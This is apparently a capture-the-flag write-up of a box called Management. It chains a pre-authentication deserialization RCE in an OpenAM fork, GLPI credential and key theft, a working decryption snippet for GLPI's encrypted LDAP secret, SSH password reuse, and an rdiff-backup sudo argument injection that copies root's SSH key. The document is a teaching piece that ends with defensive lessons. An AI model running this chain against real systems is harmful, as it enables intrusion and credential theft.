← Back to posts
English · Ελληνικά
Management is a Linux box whose front door is a self-hosted identity provider — an OpenAM fork maintained by the OpenIdentityPlatform project, sitting behind a family of vhosts (sso., backup., monitoring.) that all point at one host. The entry is a pre-authentication Java deserialization RCE (CVE-2026-33439) in the SSO console itself — no login required. That shell lands in a GLPI asset-management install, whose database hands over an encrypted LDAP bind secret rather than a plaintext one. Decrypting it correctly — not just "some AES", but GLPI's exact AEAD construction, including one call-signature detail that isn't obvious from the outside — is the real puzzle of the box. The plaintext turns out to be reused as a real user's SSH password, and from there a single trailing wildcard in a sudo rule for rdiff-backup is all it takes to copy out root's own SSH key.
unauthenticated
→
OpenAM pre-auth deser RCE (CVE-2026-33439)
→
GLPI DB creds
→
decrypt stored LDAP secret
→
password reuse → SSH
→
sudo rdiff-backup arg injection
→
root
Reconnaissance
A standard sweep turns up a single web front door fronting several virtual hosts, all resolved to the same IP:
vhosts + the SSO console
$ echo '<target> management.htb sso.management.htb backup.management.htb monitoring.management.htb' | sudo tee -a /etc/hosts
$ curl -skI https://sso.management.htb/openam/
HTTP/1.1 200 OK
# /openam/base/Version and the console copyright string identify it as the
# OpenIdentityPlatform / 3A Systems fork of ForgeRock OpenAM, not stock ForgeRock.
That distinction matters: public PoCs written against stock ForgeRock OpenAM don't always apply to this fork, and vice versa. The copyright string in the version panel is the tell.
Foothold — pre-auth deserialization in the SSO console
OpenAM's classic UI is built on the ancient JATO framework, which — like a lot of pre-2015 Java web frameworks — happily deserializes a client-supplied session blob. CVE-2026-33439 is exactly that: the jato.clientSession parameter on the password-reset validation endpoint accepts an attacker-controlled serialized Java object, and a Click/Xalan TemplatesImpl gadget chain turns that into arbitrary code execution — before any authentication happens.
CVE-2026-33439 — pre-auth RCE
$ python3 exploit.py --url https://sso.management.htb/openam/ui/PWResetUserValidation id
# the gadget appends the jato.clientSession param with a packed, integrity-checked
# serialized payload; the command to run travels in a 'cmd' request header and its
# output comes back in the response body — no listener, no callback, request/response only
uid=... gid=... (the OpenAM/tomcat service account)
No inbound shell to babysit — every subsequent command is just another request with a different cmd header. That turns out to matter later, once the interesting part of the box needs several rounds of enumeration.
Pivoting into GLPI
The service account's filesystem holds a GLPI (open-source IT asset/helpdesk) install. GLPI's own DB config file is always a first stop — it's plaintext by design, since the app needs it at every request:
GLPI's own DB credentials
$ # via the RCE: cat /opt/glpi/config/config_db.php
class DB extends DBmysql {
public $dbhost = '127.0.0.1';
public $dbuser = 'glpi';
public $dbpassword = '<redacted>';
public $dbdefault = 'glpidb';
}
Gotcha: connecting with -h127.0.0.1 gets Access denied even with the right password — MySQL resolves a TCP connection to a different grant than a Unix-socket one, and this account is only granted for glpi@localhost. Drop -h entirely to use the local socket.
GLPI stores its own LDAP directory configuration — including the bind account's password — encrypted in the database, in glpi_authldaps.rootdn_passwd (not rootdn_password; worth a describe before guessing the schema):
the LDAP directory row
$ mysql -uglpi -p'<pw>' glpidb -e "select name,host,rootdn,rootdn_passwd from glpi_authldaps;"
name: Management Directory
host: sso.management.htb
rootdn: cn=svc-glpi,ou=services,dc=management,dc=htb
rootdn_passwd: <base64 ciphertext>
That value isn't a hash to crack — it's symmetrically encrypted, and GLPI keeps the key on disk specifically so it can decrypt it again for its own use:
the key that makes it reversible
$ # via the RCE: base64 -w0 /opt/glpi/config/glpicrypt.key
<32 raw bytes, base64-encoded>
The actual puzzle: GLPI's AEAD scheme, exactly
32-byte key, 24-byte nonce prepended to the ciphertext, then base64 — that shape matches libsodium's crypto_secretbox (XSalsa20-Poly1305) closely enough that it's tempting to just try it. It fails MAC verification every time, silently, with no clue as to why. So does the same shape with an empty additional-authenticated-data field on the AEAD construction that's actually correct. Guessing crypto primitives from ciphertext shape alone is a trap — I went and read GLPI's own source instead of continuing to guess:
src/GLPIKey.php — the actual construction
// encrypt():
$nonce = random_bytes(SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES);
$encrypted = sodium_crypto_aead_xchacha20poly1305_ietf_encrypt(
$string, $nonce, $nonce, $key // ← AAD == the nonce itself
);
return base64_encode($nonce . $encrypted);
The primitive is XChaCha20-Poly1305, not secretbox — coincidentally the same 24-byte nonce length, which is exactly why the wrong guess fails in a way that looks almost right. And the actual gotcha: GLPI passes the nonce a second time as the additional authenticated data argument, not an empty string. Miss that and every attempt fails MAC verification with an identical, uninformative error, whether the primitive, the key, or the AAD is wrong. Once the call signature matches exactly:
decrypt, offline, no further target interaction
$ python3 -c "
import base64, nacl.bindings as nb
key = base64.b64decode(KEY_B64)
blob = base64.b64decode(DB_VALUE_B64)
nonce, ct = blob[:24], blob[24:]
print(nb.crypto_aead_xchacha20poly1305_ietf_decrypt(ct, nonce, nonce, key))
"
b'<redacted — LDAP bind password>'
The whole decrypt runs locally once both pieces are captured — no more requests to the target needed for this step, which also means no more RCE round-trips to keep quiet about.
Password reuse → a real shell
The bind account is a service identity (cn=svc-glpi,...), not a login. But its password isn't unique to LDAP — it's reused directly as a local user's SSH password:
user.txt
$ ssh owen@management.htb
owen@management:~$ id; cat user.txt
uid=1000(owen) gid=1000(owen) groups=1000(owen)
[redacted — user flag]
Root — a wildcard in a sudo rule
sudo -l shows exactly one rule, and it's built to be "safe":
sudo -l
owen@management:~$ sudo -l
User owen may run the following commands on management:
(root) NOPASSWD: /usr/bin/rdiff-backup --server --restrict-path /opt/backup --restrict-mode read-only *
The intent is clear: let owen drive rdiff-backup's remote-server mode as root, but only against /opt/backup, and only read-only. The trailing * is the mistake — sudoers matches the whole command line as a pattern, so anything appended after read-only is still permitted, and rdiff-backup — like most argument parsers — takes the last value when a flag repeats. Appending a second --restrict-path / after the fixed one silently overrides it.
rdiff-backup normally reaches a "remote" side over SSH via --remote-schema. Since we're already local as owen, the schema string just needs to be the sudo command — no ssh in it at all, so it runs as a plain local subprocess connected to our client over a pipe:
root, via argument injection
owen@management:~$ rdiff-backup --remote-schema "sudo /usr/bin/rdiff-backup --server \
--restrict-path /opt/backup --restrict-mode read-only --restrict-path %s" \
backup /::/root /tmp/root_backup
# the source location '/::/root' uses rdiff-backup's [host::]path syntax with an
# empty/'/' host field — that parsed "host" is exactly what substitutes into %s,
# so the injected --restrict-path / is built from the location string, not typed directly
NOTE: Starting mirror from source path /root to destination path /tmp/root_backup
owen@management:~$ ls /tmp/root_backup
.ssh root.txt ...
The sudo'd "server" side runs fully unrestricted as root, and everything under /root — including the flag and root's own SSH keypair — gets copied out, owned by owen:
root.txt + durable access
owen@management:~$ cat /tmp/root_backup/root.txt
[redacted — root flag]
$ scp owen@management.htb:/tmp/root_backup/.ssh/id_ed25519 . && ssh -i id_ed25519 root@management.htb id
uid=0(root) gid=0(root) groups=0(root)
The whole chain, one screen
recap
# 1. pre-auth deser RCE in the OpenAM fork (CVE-2026-33439)
python3 exploit.py --url https://sso.management.htb/openam/ui/PWResetUserValidation id
# 2. GLPI's own DB creds, then the encrypted LDAP secret + the key that unlocks it
cat config_db.php ; select rootdn_passwd from glpi_authldaps ; cat glpicrypt.key
# 3. decrypt offline — XChaCha20-Poly1305, nonce reused as AAD (the non-obvious part)
sodium_crypto_aead_xchacha20poly1305_ietf_decrypt(ct, nonce, nonce, key)
# 4. password reuse → real SSH login
ssh owen@management.htb
# 5. sudo wildcard + last-flag-wins → unrestricted rdiff-backup as root
rdiff-backup --remote-schema "sudo rdiff-backup --server ... --restrict-path %s" backup /::/root /tmp/x
Lessons
- A stored secret is only as strong as the schema you assume for it. The ciphertext's shape (key length, nonce length) matched more than one plausible construction. Guessing cost more time than reading the eleven lines of source that stated the real one — including the one call-signature detail (AAD = nonce) that no amount of shape-guessing would have found.
- A sudo rule with a trailing wildcard is not a scoped rule. Sudoers pattern-matches the full command line as a string; anything the wildcard admits, the invoker can use to shadow an earlier flag if the target program takes last-value-wins on repeats. Scope with fixed arguments only, never a trailing
*.
- Request/response RCE beats a reverse shell for a multi-step chain. Every enumeration step here was a separate HTTP request with a different
cmd header — nothing to keep alive, nothing to lose on a dropped connection, and it scales cleanly to "just one more command" as many times as the chain needs.
- Password reuse across a service identity and a real login is still the most common lateral-movement primitive on these boxes, encrypted-at-rest or not — decrypting a secret is rarely the end of the story, it's usually just the start of "where else does this work."